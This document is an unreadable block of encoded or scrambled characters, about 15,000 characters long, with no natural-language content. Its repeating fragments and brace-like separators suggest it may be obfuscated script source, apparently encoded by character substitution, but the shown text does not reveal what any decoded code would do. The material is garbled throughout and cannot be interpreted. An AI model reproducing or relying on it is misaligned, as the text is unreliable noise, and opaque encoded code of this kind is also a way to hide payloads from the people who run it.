VXM][PQ]Y\L	5YPMZ^\WQW[^YSG\K^LTZFD5VYVLLZKULL\I]XJ\H`dTZFbVXM][PQ]Y\LULL\I]XJ\H`dTZFbVH`INEO^FN]EX	EFRTLZZP[K	ULL\I]XJ\H`dTZFbIU
LRQ	YOD5RURMZLVT]XJIVH`INEO^FN]EX

VQKIU
LRQ	YOdb555555ULL\I]XJ\H`dTZFbVXM][PQ]Y\LEFRTLZZP[KRURMZLVT]XJIULL\I]XJ\H`dTZFb55B5555B5B\^K\WkWMPH^]SZSKQO
]K`D5PTG]`[M\TJL[^FSJVH`INEO^FN]EXSKQO
]K`5B\^K\WzG\ZOKVPQSKQO
]K`D5B5MZKJMQULL\I]XJ\H`5B5YJQ\KVPQ\SRKXGYQUS`[GMTHW	JJOP\NE	GQN	HR^NNLGY5DKW	M
W
	Z[XSKW	M
W5KMFD5^T
N	TTUUUEFRTLZZP[KEFRTLZZP[K LKMVQXW]VJIUHXHJMEQT``GVH`INEO^FN]EX5VY^T
N	TTUUUD5MZKJMQW	JJOP\N5B5VYVXM][PQ]Y\LW	JJOP\ND5MZKJMQW	JJOP\N5B5VYVLLZKW	JJOP\Nd]]W	SFT[SO[QSbCCVXM][PQ]Y\LW	JJOP\NdVXM][PQ]Y\LbD5W	JJOP\NdVH`INEO^FN]EXb^MM^FM`GJMRLF\EOE^M`GJMRL M`GJMRLM`GJMRL5B5VYVXM][PQ]Y\L	^T
N	TTUUUW	JJOP\NdVXM][PQ]Y\LbKMJZD5W	JJOP\NdVH`INEO^FN]EXbdb^T
N	TTUUU5B5B\^K\WkWMPH^]SZSKQO
]K`D5PTG]`[M\TJL[^FSJEFRTLZZP[KSKQO
]K`55B\^K\WzG\ZOKVPQSKQO
]K`D5B5MZKJMQW	JJOP\NEQSIV[GT`
^KGGXTJFFZEEQSIV[GT`5B55YJQ\KVPQG
PGYUX\[RW5D55G`ZVR^	ZHGZ^MM^F555VY[ZYVQZ[EFRTLZZP[KVH`INEO^FN]EXVH`INEO^FN]EXD5rFlns|kzLVQLKMJRZQKL\POZ\W^VQ55[^]IMOQLK^MM^FXZK`POKVPQ]]W	SFT[SO[QS^MM^F5VQELNVUS\LO^MM^F5YPMZ^\W[^]IMOQLK^L]^LZQ^RZD5VY]]W	SFT[SO[QS]^LZQ^RZCCVH`INEO^FN]EX]^LZQ^RZVH`INEO^FN]EX	Y^SLZD5555\PQKVQJZ5B5KM^QLOVSZLO^MLZ[VLO^K\WZM55G`S	EIS[MYVH`INEO^FN]EX
]^LZQ^RZ5VYG`S	EIS[MYD5G`S	EIS[MY]^LZQ^RZ5B5VYVLLZKVQELNVUS\LOdG`S	EIS[MYbD55\PQKVQJZ]YPOW\ESX]YW	KJ\HLN]YPOW\ESX]YW555B5555VQELNVUS\LOdG`S	EIS[MYbKMJZ5QSGTU\Zho`osjxvq`{vm]^LZQ^RZ5VYVXM][PQ]Y\L	]^LZQ^RZD5VYVXM][PQ]Y\LQSGTU\ZD5G`ZVR^	ZHGZdbQSGTU\Z5B5OMZYZK\W[ZKZMRVQVLKV\^SZMK55BZSLZD55MOTSTJ\L]]W	SFT[SO[QS	QSGTU\Z55VYVH`INEO^FN]EXMOTSTJ\LD5G`ZVR^	ZHGZVXM][PQ]Y\LG`ZVR^	ZHGZUGQP`MMXZZZZT	GYMOTSTJ\L^MM^FVH`INEO^FN]EX5B5B5B555B5VKZM^KZLZLLVPQKFOZYPMhoyPQKsV]M^MF555555VYVH`INEO^FN]EXJ`\^PQZPIIFTLPWKQD5JQLJ]L\MV]Z\PPM[VQ^KPM55QHJ	]^GRJLJWQ
ZWLW^LNTJJ`\^PQZPIIFTLPWKQ55VY]]W	SFT[SO[QSQHJ	]^GRD555YPMZ^\WQHJ	]^GR^LEX[	^\]QK
YFD5VYEX[	^\]QK
YFVTLW
XJG
JFGVSN\FD55\PQKVQJZ555B5\PSHEGZS^PJ`\^PQZPIIFTLPWKQEX[	^\]QK
YF5VYVH`INEO^FN]EX\PSHEGZS^PVXM][PQ]Y\LEFRTLZZP[KEX[	^\]QK
YF\PQLK^QKEFRTLZZP[K
VXM][PQ]Y\L
D55G`ZVR^	ZHGZdb\PSHEGZS^P5B5B5555B5B55555VY[ZYVQZ[VH`INEO^FN]EX	VXM][PQ]Y\LVXM][PQ]Y\L
D5IVIUU\OVRT]FLKMVQXXZK`POKVPQVXM][PQ]Y\L
555^ZFSRNMVM\H\N\LKMVQXXZK`POKVPQVXM][PQ]Y\L
5TIFPMWVO[ZYVQZ[VH`INEO^FN]EX

 ho`|pqkzqk`{vmEFRTLZZP[K
	~}lo~kwVXM][PQ]Y\L
5JW
REOX`Q]]W	SFT[SO[QS
EFRTLZZP[K^MM^FIVIUU\OVRT]F^ZFSRNMVM\H\N\5YPMZ^\WJW
REOX`Q^LVLXMN]]GOD5VY]]W	SFT[SO[QS
VLXMN]]GOVH`INEO^FN]EX	Y^SLZD5\PQKVQJZ5B5SE^HQL^
TIFPMWVOVLXMN]]GO5VYVH`INEO^FN]EXSE^HQL^
D55`I
RU[`	KLHSHJLJWQ
ZWLW^LNTJSE^HQL^
5VYVH`INEO^FN]EX`I
RU[`	KLHSHD5YPMZ^\W`I
RU[`	KLHSH^LEX[	^\]QK
YFD5JMNVEVTGYSE^HQL^
EX[	^\]QK
YF5VYVXM][PQ]Y\LJMNVEVTGY]]W	SFT[SO[QSVH`INEO^FN]EXEX[	^\]QK
YF\PQLK^QK]]W	SFT[SO[QS
VH`INEO^FN]EX
D5G`ZVR^	ZHGZdbJMNVEVTGY5B5B5B5hooPLKzG\ZMOK^KK^\WRZQKRZK^[^K^555FRJFYRU]O[SE^HQL^
EFRTLZZP[K	5VY]]W	SFT[SO[QS	FRJFYRU]O[D5G`ZVR^	ZHGZ]]W	SFT[SO[QSG`ZVR^	ZHGZUGQP`MMXZZZZT	GYFRJFYRU]O[^MM^FEFRTLZZP[K
5555B5B5B555B5MZKJMQVXM][PQ]Y\L
G`ZVR^	ZHGZ555B5YJQ\KVPQE[[[EY	RYE[VFXFVXOWYT^Z5D5VYVH`INEO^FN]EX	VXOWYT^ZMZKJMQ^MM^F5555MVE\IUEPWNQ[G`G^MM^F5YPMZ^\WVXOWYT^Z^LOUYP\PUYJ
	D5VYEFRTLZZP[KOUYP\PUYJ
	CCOUYP\PUYJ
	CCEFRTLZZP[K	OUYP\PUYJ
	\PQKVQJZ5KMFD5LKMZLLKZLKVQ[Z\PROPL^]SZ^JKWPMVKF55VYVH`INEO^FN]EX	OUYP\PUYJ
	Y^SLZ\PQKVQJZ5B\^K\WkWMPH^]SZSKQO
]K`D5\PQKVQJZ5555B\^K\WzG\ZOKVPQSKQO
]K`D5\PQKVQJZ5B5MVE\IUEPWNQ[G`GdbOUYP\PUYJ
	55B5howPRZsVQTKM^\Z[PRVQ^KPMKMZZ55MZKJMQMVE\IUEPWNQ[G`G55B5YJQ\KVPQMFEKVG
Q\]WMO`VXOWYT^Z5D5KMFD55VYZROKFVXOWYT^ZD555MZKJMQY^SLZE
I\JY`L
VVH]VWP^^E
I\JY`L5B555G`ZVR^	ZHGZG
PGYUX\[RW5555VYZROKFG`ZVR^	ZHGZD5SP\T\PQLKM^VQKLZKYPMhooPLKkVKSZ55MZKJMQY^SLZ5B5IKF\JEQLXO[Y^SLZ5YPMZ^\WG`ZVR^	ZHGZ^L\PSHEGZS^PD55VY]]W	SFT[SO[QS\PSHEGZS^PCCEFRTLZZP[K\PSHEGZS^PD5\PQKVQJZ5B55VY]]W	SFT[SO[QS\PSHEGZS^P
	D5\PQKVQJZ555B5IXVKZ
OWL`GWVXM][PQ]Y\L
\PSHEGZS^P5VYIXVKZ
OWL`GWCC]]W	SFT[SO[QS	
IXVKZ
OWL`GWD5\PQKVQJZ555B55X]		GMZNIM\FY^SLZ5555YPMZ^\WVXOWYT^Z^LLVZ`	`G
`	Z\D5KMFD555555EVE[SJ][^V]]W	SFT[SO[QSLVZ`	`G
`	Z\IXVKZ
OWL`GW5VYEVE[SJ][^VQJSSEVE[SJ][^VIXVKZ
OWL`GWD5IXVKZ
OWL`GWEVE[SJ][^VMTHVOU	\O[YIS^HFL^MTHVOU MTHVOUMTHVOU5X]		GMZNIM\FKMJZ5B5hPM[oMZLL		]SP\T]VQ[VQXLVQKZMMJOK[ZMVI^KVPQ55B\^K\WkWMPH^]SZSKQO
]K`D5PTG]`[M\TJL[^FSJVH`INEO^FN]EX		SKQO
]K`5\PQKVQJZ5B\^K\WzG\ZOKVPQSKQO
]K`D5hoq^IVX^KVPQ}SP\TQPQ\ZI^SV[^KVPQ55\PQKVQJZ5B5B55VYX]		GMZNIM\FD5VYL]NY]EJ\QQ
ILGUVGO\PSHEGZS^PIXVKZ
OWL`GWD5IKF\JEQLXO[KMJZ5B5B55B55MZKJMQIKF\JEQLXO[55B\^K\WkWMPH^]SZSKQO
]K`D5OMVR^MF[VMZ\KPM55PTG]`[M\TJL[^FSJVXM][PQ]Y\L	SKQO
]K`555B\^K\WzG\ZOKVPQSKQO
]K`D5B5LZLNJVSVQZ^MMZKMFOPSV\F55MZKJMQY^SLZ555B55YJQ\KVPQPGLFHE]RR]JFMOTSTJ\LRESQGMV\
M5555D5555RZ]HHU^Z
LNQ^MM^F5RESQGMV\
MRESQGMV\
M55XYQYGE
OTUJ[KVXM][PQ]Y\L
MOTSTJ\LTJH	N\XYWVO
L]W\^IW\ZKTJH	N\XYWVO5VYVH`INEO^FN]EX	XYQYGE
OTUJ[KD555MZKJMQRZ]HHU^Z
LNQ5B5XYQYGE
OTUJ[KEFRTLZZP[KXYQYGE
OTUJ[KG\G
5555YPMZ^\WXYQYGE
OTUJ[K^LEX[	^\]QK
YFD55555VYEX[	^\]QK
YFCCEX[	^\]QK
YF]]W	SFT[SO[QS	D5\PQKVQJZ5B5555Y^KVTTR
MOTSTJ\LEX[	^\]QK
YF5VYVXM][PQ]Y\L	Y^KVTTR
D5\PQKVQJZ5B55VY]]W	SFT[SO[QS	Y^KVTTR
]]W	SFT[SO[QS

D5555RZ]HHU^Z
LNQdbVH`INEO^FN]EX		Y^KVTTR
VXM][PQ]Y\L	5\PQKVQJZ5B55555VYRESQGMV\
MD55RZ]HHU^Z
LNQVXM][PQ]Y\LRZ]HHU^Z
LNQPGLFHE]RR]JFY^KVTTR
RESQGMV\
M5B5B55MZKJMQRZ]HHU^Z
LNQ5B5YJQ\KVPQ^OF\LRF

VVIH5D5MH]NS]N	I[
	SP^MM^F555L]EKLKW\OVQK
YEFRTLZZP[K		~}lo~kwEFRTLZZP[K	5KMFD5S[OEJKJ	OQ
L[^MM^F5VYL]EKLKW\OVQK
YD5S[OEJKJ	OQ
L[db]]W	SFT[SO[QS	L]EKLKW\OVQK
Y5S[OEJKJ	OQ
L[dbEFRTLZZP[K	VH`INEO^FN]EX	L]EKLKW\OVQK
Y5555S[OEJKJ	OQ
L[dbEFRTLZZP[K	]]W	SFT[SO[QS	EFRTLZZP[K	L]EKLKW\OVQK
Y5B5555S[OEJKJ	OQ
L[db]]W	SFT[SO[QS5S[OEJKJ	OQ
L[dbEFRTLZZP[K5S[OEJKJ	OQ
L[db]]W	SFT[SO[QS5S[OEJKJ	OQ
L[dbVXM][PQ]Y\L5S[OEJKJ	OQ
L[dbVXM][PQ]Y\L5S[OEJKJ	OQ
L[dbVXM][PQ]Y\L
55S[OEJKJ	OQ
L[db]]W	SFT[SO[QS	555\TJ	\O[TG`^MEFRTLZZP[KVH`INEO^FN]EX LKMVQXVH`INEO^FN]EXEFRTLZZP[K5VY\TJ	\O[TG`^MD5XSLVN^V
GVH`INEO^FN]EX\TJ	\O[TG`^MY^SLZ 5YPMZ^\WVH`INEO^FN]EXXSLVN^V
G\TJ	\O[TG`^M^LYS]Y^ERQVMPD5YS]Y^ERQVMP]]W	SFT[SO[QSYS]Y^ERQVMP5VYYS]Y^ERQVMPD5S[OEJKJ	OQ
L[dbYS]Y^ERQVMP5B5B5B55S[OEJKJ	OQ
L[]]W	SFT[SO[QSVXM][PQ]Y\LS[OEJKJ	OQ
L[5OPOKV

^\LSEFRTLZZP[KKMJZ55MH]NS]N	I[
	SP^MM^F`RO]\O]	CW\WFLWQ^`RO]\O]	a55YPMZ^\WS[OEJKJ	OQ
L[^LMOTSTJ\LD55VY]]W	SFT[SO[QS	MOTSTJ\LCCVXM][PQ]Y\LMOTSTJ\LD5\PQKVQJZ5B555VY]]W	SFT[SO[QSKMJZOPOKV

^\LSGGD5]MZ^T5B55555MH]NS]N	I[
	SP]]W	SFT[SO[QSMH]NS]N	I[
	SPPGLFHE]RR]JFMOTSTJ\LQLXV[^]KGZG	TIY\FURQLXV[^]K5B555B\^K\WkWMPH^]SZSKQO
]K`D5PTG]`[M\TJL[^FSJ]]W	SFT[SO[QS	SKQO
]K`5B\^K\WzG\ZOKVPQSKQO
]K`DVUL]]Wowo`r~upm`izmlvpqLULNW``\F`VUL]]W55B55MZKJMQ]]W	SFT[SO[QS	EFRTLZZP[KMH]NS]N	I[
	SP^MM^FL]EKLKW\OVQK
Y555B5YJQ\KVPQEGUPVMIM^QWSQXLXZ\X
ENGGO\5D5KMFD5EJXPHW\KRPF]QUZ^MM^FLXZ\X
ENGGO\]]W	SFT[SO[QSLXZ\X
ENGGO\VXM][PQ]Y\L
5YPMZ^\WEJXPHW\KRPF]QUZ^LMOTSTJ\LD5VYVH`INEO^FN]EX	MOTSTJ\LD5\PQKVQJZ5B5F
^ZZ^
LVE
JLJWQ
ZWLW^LNTJMOTSTJ\L5VYVH`INEO^FN]EX	F
^ZZ^
LVE
DWWTWJ`RU\^GYG]EL^^OTE]PWWTWJ`RU\^5\PQKVQJZ5B5YPMZ^\WF
^ZZ^
LVE
^LSKQO
]K`D5VYVXM][PQ]Y\LSKQO
]K`]]W	SFT[SO[QSGZV`\ZHSHL[TYIMOTSTJ\LSKQO
]K`

D55MZKJMQKMJZ5B5B5YPMZ^\WF
^ZZ^
LVE
^LSKQO
]K`D5O`
ZTNRSGMLMMOTSTJ\LSKQO
]K`555VYVH`INEO^FN]EX	O`
ZTNRSGMLMD5\PQKVQJZ55B5\ZVYGXRIJLJWQ
ZWLW^LNTJO`
ZTNRSGMLM5VY]]W	SFT[SO[QS	\ZVYGXRID5\PQKVQJZ5B5YPMZ^\W\ZVYGXRI^L[ZNRP^YRR]OD5VYVXM][PQ]Y\L[ZNRP^YRR]OGGVXM][PQ]Y\LGZV`\ZHSHL[TYIO`
ZTNRSGMLM[ZNRP^YRR]OG]G
[D5555MZKJMQKMJZ5B55B5B5B5B\^K\WkWMPH^]SZSKQO
]K`D5LZMV^SVEZ^[^OKZM55PTG]`[M\TJL[^FSJ]]W	SFT[SO[QSSKQO
]K`5B\^K\WzG\ZOKVPQSKQO
]K`D55B5MZKJMQY^SLZ5B5YJQ\KVPQYYOIUPV
MLVTY5D5KMFD5VYERZ[YU	]IK\ERXH
M	L]ZERIMZKJMQ5555VYXZK`KM^QLVZQK]]W	SFT[SO[QSD5MZKJMQ555B555OSWHU\SXQFGZEGGFQGIVMRH5VYOSWHU\SXQFGCC]]W	SFT[SO[QS	OSWHU\SXQFG	D5MZKJMQ5B5VYIE[
QM[VN\`]\E]JOSWHU\SXQFGD5PTG]`[M\TJL[^FSJVXM][PQ]Y\L]]W	SFT[SO[QS5MZKJMQ5B5hooPLKkVKSZZQ^]SZOMPPYKZMR5555MH]NS]N	I[
	SP^OF\LRF

VVIH55VYZROKFMH]NS]N	I[
	SPD5VYXZK`KM^QLVZQKVH`INEO^FN]EXD55PTG]`[M\TJL[^FSJ]]W	SFT[SO[QS]]W	SFT[SO[QS5LZK`KM^QLVZQKEFRTLZZP[KG^^G5B5LZK`KM^QLVZQKVH`INEO^FN]EX

	5MZKJMQ555B55L[VGVNLJS5YPMZ^\WMH]NS]N	I[
	SP^LLXZ\X
ENGGO\D55555555VYEGUPVMIM^QWSQXLXZ\X
ENGGO\D5\PQKVQJZ5B55TO[GP\UV^NHK5ZZX[ILR\WVG]ULXZ\X
ENGGO\VH`INEO^FN]EX55VY]]W	SFT[SO[QS	ZZX[ILR\WVG]U]]W	SFT[SO[QS	ZZX[ILR\WVG]UD5ZZX[ILR\WVG]UQJSS555BZSLZVYVXM][PQ]Y\L	ZZX[ILR\WVG]UD5555`QGTGLSFXUY^^[ZZX[ILR\WVG]U	KMJZ5555B5VYZZX[ILR\WVG]U]]W	SFT[SO[QS	ZZX[ILR\WVG]UCCVXM][PQ]Y\LZZX[ILR\WVG]UD5ZZX[ILR\WVG]UQJSS5B5VYZZX[ILR\WVG]UD5555EYWQF
]VE]LZZX[ILR\WVG]UVTLW
XJG
JFGVSN\F555\FHMMZP^I[^
KYRNPPYTJF^ZT
PQHOSWHU\SXQFG5FWIUJ`
QKU[]NNG]VQJP^EYWQF
]VE]L\FHMMZP^I[^
VH`INEO^FN]EX5VYFWIUJ`
QFWIUJ`
QVXM][PQ]Y\L	\FHMMZP^I[^
D555TO[GP\UV^NHKEYWQF
]VE]L5B5B555VYTO[GP\UV^NHKD5M
LQP\KRHIUH
NGEFRTLZZP[KVTLW
XJG
JFGVSN\Fo~kwvqyp`yvszq~rz5\`F`MFPJZELXZ\X
ENGGO\]]W	SFT[SO[QSM
LQP\KRHIUH
NG5VY]]W	SFT[SO[QS	\`F`MFPJZED5`QGTGLSFXUY^^[\`F`MFPJZE		KMJZ5B5EYWQF
]VE]L\`F`MFPJZEVTLW
XJG
JFGVSN\F5\FHMMZP^I[^
KYRNPPYTJF^ZT
PQHOSWHU\SXQFG5FWIUJ`
QKU[]NNG]VQJP^EYWQF
]VE]L\FHMMZP^I[^
EFRTLZZP[K555VYFWIUJ`
QFWIUJ`
QVH`INEO^FN]EX	\FHMMZP^I[^
D5TO[GP\UV^NHKEYWQF
]VE]L55]^LZQ^RZM
LQP\KRHIUH
NGVTLW
XJG
JFGVSN\F555WRH^UPOVOIKNLXZ\X
ENGGO\]^LZQ^RZ5B5B5VYTO[GP\UV^NHKD5\PQKVQJZ5B5ZUST[\KTSTO[GP\UV^NHK5NNKZM`SOUHJYLELIV\ZTO[GP\UV^NHKGG]555L[VGVNLJS5B5555VYL[VGVNLJSD5LZK`KM^QLVZQKVXM][PQ]Y\LGYYGY]5BZSLZD5LZK`KM^QLVZQK]]W	SFT[SO[QS

5B55B\^K\WkWMPH^]SZSKQO
]K`D5PTG]`[M\TJL[^FSJVH`INEO^FN]EXSKQO
]K`5B\^K\WzG\ZOKVPQSKQO
]K`D5B5B5YJQ\KVPQWRH^UPOVOIKNLXZ\X
ENGGO\]^LZQ^RZ5D5KMFD5555V]]
K^NI
ZQ]LXZ\X
ENGGO\EFRTLZZP[K5VY]]W	SFT[SO[QSV]]
K^NI
ZQ]D5V]]
K^NI
ZQ]]]W	SFT[SO[QS	LXZ\X
ENGGO\VXM][PQ]Y\L
5VY]]W	SFT[SO[QSV]]
K^NI
ZQ]D5MZKJMQ5B5B555VRLXYOWVH`INEO^FN]EX
V]]
K^NI
ZQ]5VYVRLXYOWD5MZKJMQ5B5O]M`ZYEY^5OMZYVG555VY]]W	SFT[SO[QS	EFRTLZZP[K	VRLXYOWIU
LRQ	YODSIW]YVGQ
CFG`HS`EYJ`SIW]YVGQa
55O]M`ZYEY^IU
LRQ	YOdb5B5VYEFRTLZZP[K	VH`INEO^FN]EXVRLXYOWIU
LRQ	YOD5OMZYVGIU
LRQ	YOdb5B5VYO]M`ZYEY^CCOMZYVGCCVH`INEO^FN]EX	EFRTLZZP[KOMZYVGD5MZKJMQ55B555HO[]xsp}~sldVH`INEO^FN]EXb5VYEFRTLZZP[K	HO[]CCVXM][PQ]Y\LHO[]VXM][PQ]Y\LD5MZKJMQ5B5VY]]W	SFT[SO[QSVXM][PQ]Y\LO]M`ZYEY^D5PTG]`[M\TJL[^FSJEFRTLZZP[K]]W	SFT[SO[QS5MZKJMQ5555B5PKNIFXTNQIJ_O]M`ZYEY^VXM][PQ]Y\L
OMZYVGEFRTLZZP[K	5HO[]NJZMFVH`INEO^FN]EX5YKMR^PULHO[]XZK`I^Ml]]W	SFT[SO[QSPKNIFXTNQIJ]]W	SFT[SO[QSVH`INEO^FN]EXVXM][PQ]Y\L5VYYKMR^PULQJSSD5HO[]NJZMFVXM][PQ]Y\L5MZKJMQ55B5[^]IMOQLKIR`^L^K\NJ^YKMR^PUL5VYVXM][PQ]Y\L	[^]IMOQLKD5555HO[]NJZMFVH`INEO^FN]EX5MZKJMQ5B5VYEFRTLZZP[K	]^LZQ^RZ[^]IMOQLKKMJZD5HO[]NJZMFVXM][PQ]Y\L5MZKJMQ5B55[^]IMOQLKdb]^LZQ^RZ55[^]IMOQLKVXM][PQ]Y\L[^]IMOQLK5K[UEVRZFXU]]W	SFT[SO[QS	[^]IMOQLK5F\T`^M`N	H^
EMHO[]NJZMFHO[]OMZO^MZjVXM][PQ]Y\L
PKNIFXTNQIJVH`INEO^FN]EX	VH`INEO^FN]EXK[UEVRZFXU5555VYF\T`^M`N	H^
EMY^SLZD5555PTG]`[M\TJL[^FSJEFRTLZZP[KVH`INEO^FN]EX5HO[]NJZMFEFRTLZZP[K555MZKJMQ5B5HO[]NJZMF]]W	SFT[SO[QS5B\^K\WkWMPH^]SZSKQO
]K`D5PTG]`[M\TJL[^FSJEFRTLZZP[KSKQO
]K`5VY]]W	SFT[SO[QSxsp}~sldEFRTLZZP[KbD5xsp}~sldEFRTLZZP[KbNJZMFEFRTLZZP[K5B5B\^K\WzG\ZOKVPQSKQO
]K`D555PTG]`[M\TJL[^FSJ]]W	SFT[SO[QSSKQO
]K`5VYEFRTLZZP[Kxsp}~sldVH`INEO^FN]EXbD5xsp}~sld]]W	SFT[SO[QSbNJZMF]]W	SFT[SO[QS5B5B555B5YJQ\KVPQUEZUPIV`F	5D5LK^KV\VRLXYOWQJSS5VYVRLXYOWQJSSMZKJMQVRLXYOW5VYVH`INEO^FN]EXVH`INEO^FN]EXD5VRLXYOWLYZYOFK	C\ZL]ZSRIILYZYOFKa5MZKJMQVRLXYOWGPX
[UUowo`vqk`r~gowo`vqk`r~g[VMVEIRIGPX
[UU55B5VRLXYOWXEVQYS^KZVH`INEO^FN]EXVH`INEO^FN]EX
55VYVXM][PQ]Y\L	VRLXYOWCCVH`INEO^FN]EX	VRLXYOW	VRLXYOW5MZKJMQVRLXYOW5B5YJQ\KVPQVHQT]UP]S
O[5D55KMFD5VY[ZYVQZ[]]W	SFT[SO[QS	MZKJMQ5[INN^OUHUIEFEFRTLZZP[K	
M	L]ZERI]]W	SFT[SO[QS5NYXYO	YWMMPLZOO]ZZSGMJW~}lo~kw]]W	SFT[SO[QSEFRTLZZP[K5OQ]TNKU[PLZOO]ZZSGMJW~}lo~kwVXM][PQ]Y\La	5N\UQEXELT^R
E]VH`INEO^FN]EXVXM][PQ]Y\L \PQKZQK`JMS5VYN\UQEXELT^R
E]D5N\UQEXELT^R
E]VH`INEO^FN]EXEFRTLZZP[K	 XZK`LVKZ`JMSVXM][PQ]Y\L5B5O^M^SSZSVEZ\PRR^Q[YPMrFlnsHVQ[PHYJQ\KVPQL55ZE[VZIFFVXM][PQ]Y\LVH`INEO^FN]EXEFRTLZZP[KN\UQEXELT^R
E]NYXYO	YWMM5VYVXM][PQ]Y\LZE[VZIFF]]W	SFT[SO[QSZE[VZIFFVH`INEO^FN]EX]]W	SFT[SO[QS
ZE[VZIFF5^OFY^KOU\VXM][PQ]Y\LVXM][PQ]Y\L WPRZ`JMSEFRTLZZP[K	H`QGYXLZ]QRT`
]]W	SFT[SO[QS5VY^OFY^KOU\^OFY^KOU\VH`INEO^FN]EXHXE\OLIFZTPN]YVXM][PQ]Y\LH`QGYXLZ]QRT`
VH`INEO^FN]EX5VYVXM][PQ]Y\L^OFY^KOU\]]W	SFT[SO[QS^OFY^KOU\VH`INEO^FN]EXVXM][PQ]Y\L
VH`INEO^FN]EX]]W	SFT[SO[QS^OFY^KOU\5XQUUFENVPVLLZKxsp}~sldVH`INEO^FN]EXb]]W	SFT[SO[QSxsp}~sldVXM][PQ]Y\Lb xsp}~sldVH`INEO^FN]EXb5VY]]W	SFT[SO[QS	XQUUFENVPD5XQUUFENVPP[G^WEOWE	QV`
VH`INEO^FN]EX5B5VYVXM][PQ]Y\L	XQUUFENVPaD5XQUUFENVPUEZUPIV`F	5555B5VOW`GYIFI
E`5VYVLLZKxsp}~sld]]W	SFT[SO[QSbVXM][PQ]Y\Lxsp}~sld]]W	SFT[SO[QSbVH`INEO^FN]EXxsp}~sldVXM][PQ]Y\LbD5VOW`GYIFI
E`xsp}~sldVH`INEO^FN]EXb5BZSLZD5VOW`GYIFI
E`P[G^WEOWE	QV`
VH`INEO^FN]EX555B5KFOZR^K\WVQX55VYEFRTLZZP[KVOW`GYIFI
E`D5UE`SSEE	KFE^M[HQTRI]]W	SFT[SO[QSVOW`GYIFI
E`VXM][PQ]Y\L
5B5OG^[ULFN^QPX]]W	SFT[SO[QS]]W	SFT[SO[QS LKMVQXVH`INEO^FN]EX	WPRZ`JMSowo`jms`o~kw5VYOG^[ULFN^QPXOG^[ULFN^QPX5VYVH`INEO^FN]EXOG^[ULFN^QPXOG^[ULFN^QPX5NVO\QOMML^MM^F5VXM][PQ]Y\LQQZRQNFPHFZT^XHU55VXM][PQ]Y\LNWX`JZNOIIF]YW5555]]W	SFT[SO[QS
OG^[ULFN^QPX555JTRQJHUIYL^MM^F5VXM][PQ]Y\L
ZE[VZIFF5]]W	SFT[SO[QS
[INN^OUHUIEF555]]W	SFT[SO[QS
^OFY^KOU\55]]W	SFT[SO[QS
PLZOO]ZZSGMJW~}lo~kwVXM][PQ]Y\L

a	5VXM][PQ]Y\L
	VOW`GYIFI
E`55E[
QHK`MWGPW]VJIUHXHJMEQT``GVXM][PQ]Y\L
5VYVH`INEO^FN]EX
E[
QHK`MWGPCCEFRTLZZP[K
E[
QHK`MWGPD55MZKJMQ5B5ZI[G[PTEUG[YVXM][PQ]Y\LEELNEH]LWWFGZZV`VXM][PQ]Y\L	JTRQJHUIYLE[
QHK`MWGP5ULRFIHL	XYMMEFRTLZZP[K	]]W	SFT[SO[QSEFRTLZZP[K	NVO\QOMMLVXM][PQ]Y\L	5ULRFIHL	XYMM]]W	SFT[SO[QS	ZI[G[PTEUG[Y]]W	SFT[SO[QS	
5UE`SSEE	KFE^M[HQTRIEFRTLZZP[K		ULRFIHL	XYMMVH`INEO^FN]EX
5UE`SSEE	KFE^M[HQTRIVXM][PQ]Y\L	VXM][PQ]Y\L	LKMVQXXQUUFENVPLKMVQXVOW`GYIFI
E`E[
QHK`MWGPC]]W	SFT[SO[QSHXE\OLIFZTPN]Y]]W	SFT[SO[QS
5[\][JZU]WY\RHVXM][PQ]Y\LVXM][PQ]Y\L WPRZ`JMSVH`INEO^FN]EX	H`QGYXLZ]QRT`
VXM][PQ]Y\L	5VY[\][JZU]WY\RH[\][JZU]WY\RH]]W	SFT[SO[QSHXE\OLIFZTPN]YEFRTLZZP[KH`QGYXLZ]QRT`
EFRTLZZP[K5VY]]W	SFT[SO[QS[\][JZU]WY\RHVH`INEO^FN]EX[\][JZU]WY\RHVH`INEO^FN]EX]]W	SFT[SO[QSVXM][PQ]Y\LVXM][PQ]Y\L[\][JZU]WY\RH5UE`SSEE	KFE^M[HQTRIEFRTLZZP[K[\][JZU]WY\RHVXM][PQ]Y\L
555VY]]W	SFT[SO[QS
XQUUFENVPGG[D5MZKJMQ5B5UE`SSEE	KFE^M[HQTRIEFRTLZZP[K	XQUUFENVP]]W	SFT[SO[QS
5VY^XWIFV
QLQ[XMZKJMQ55Z	UTJZE^\ZQMYHRKKYPFNI]Q]XV5VYVXM][PQ]Y\LZ	UTJZE^\ZQMY`QGTGLSFXUY^^[Z	UTJZE^\ZQMYKMJZ5VYVXM][PQ]Y\LZ	UTJZE^\ZQMYCC]]W	SFT[SO[QSZ	UTJZE^\ZQMYMZKJMQ5\M\^WNZ\Z	UTJZE^\ZQMYOQ]TNKU[VXM][PQ]Y\LQQTPLNRPSUC	TTW[SIEPK[YGQQTPLNRPSUa	5K	OP	LRQQ`YLR\U[GZ	OW`OZY555VH`INEO^FN]EX5^MM^F``lsjx````evo`q~rz````hmvkz`tzf````izmlvpq``555^MM^F[INN^OUHUIEFNYXYO	YWMMPLZOO]ZZSGMJW~}lo~kw]]W	SFT[SO[QS

HX]T^EKEHX	P^Q^	HYK5555VYK	OP	LRQD5VYVQKXZK`POKVPQ]]W	SFT[SO[QSPTG]`[M\TJL[^FSJEFRTLZZP[KVXM][PQ]Y\L5MZKJMQ5555B5VY]]W	SFT[SO[QS\M\^WNZ\CCVH`INEO^FN]EX	UH`VLVJVW
UTUZLKMVQXEFRTLZZP[K
\M\^WNZ\VXM][PQ]Y\L	K	OP	LRQD5KU[]NNG]VQJP^\M\^WNZ\K	OP	LRQ]]W	SFT[SO[QS5\TWJQV`G\FXK[K\M\^WNZ\HWEGJ	FWZJVY55NNKZM`SOUHJYLELIV\Z\M\^WNZ\GZG]\55S^YTFWKYW`^\M\^WNZ\5B5B\^K\WkWMPH^]SZSKQO
]K`D5PTG]`[M\TJL[^FSJVH`INEO^FN]EXSKQO
]K`5B\^K\WzG\ZOKVPQSKQO
]K`D5B5B5YJQ\KVPQQ`YLR\U[GZ	OW`OZYTZF[	GERRVLTU
PPQQKNULRFZFK5D5`XRRGWXGWUKHPQJSS55VY`XRRGWXGWUKHPQJSSD5`XRRGWXGWUKHPVH`INEO^FN]EXVXM][PQ]Y\L XZK`KM^QLVZQK^LLM`XV

EVTLNY^SLZ5VYVXM][PQ]Y\L`XRRGWXGWUKHPD55`XRRGWXGWUKHP^WVLYQ`I[NM^TIGJVH`INEO^FN]EX
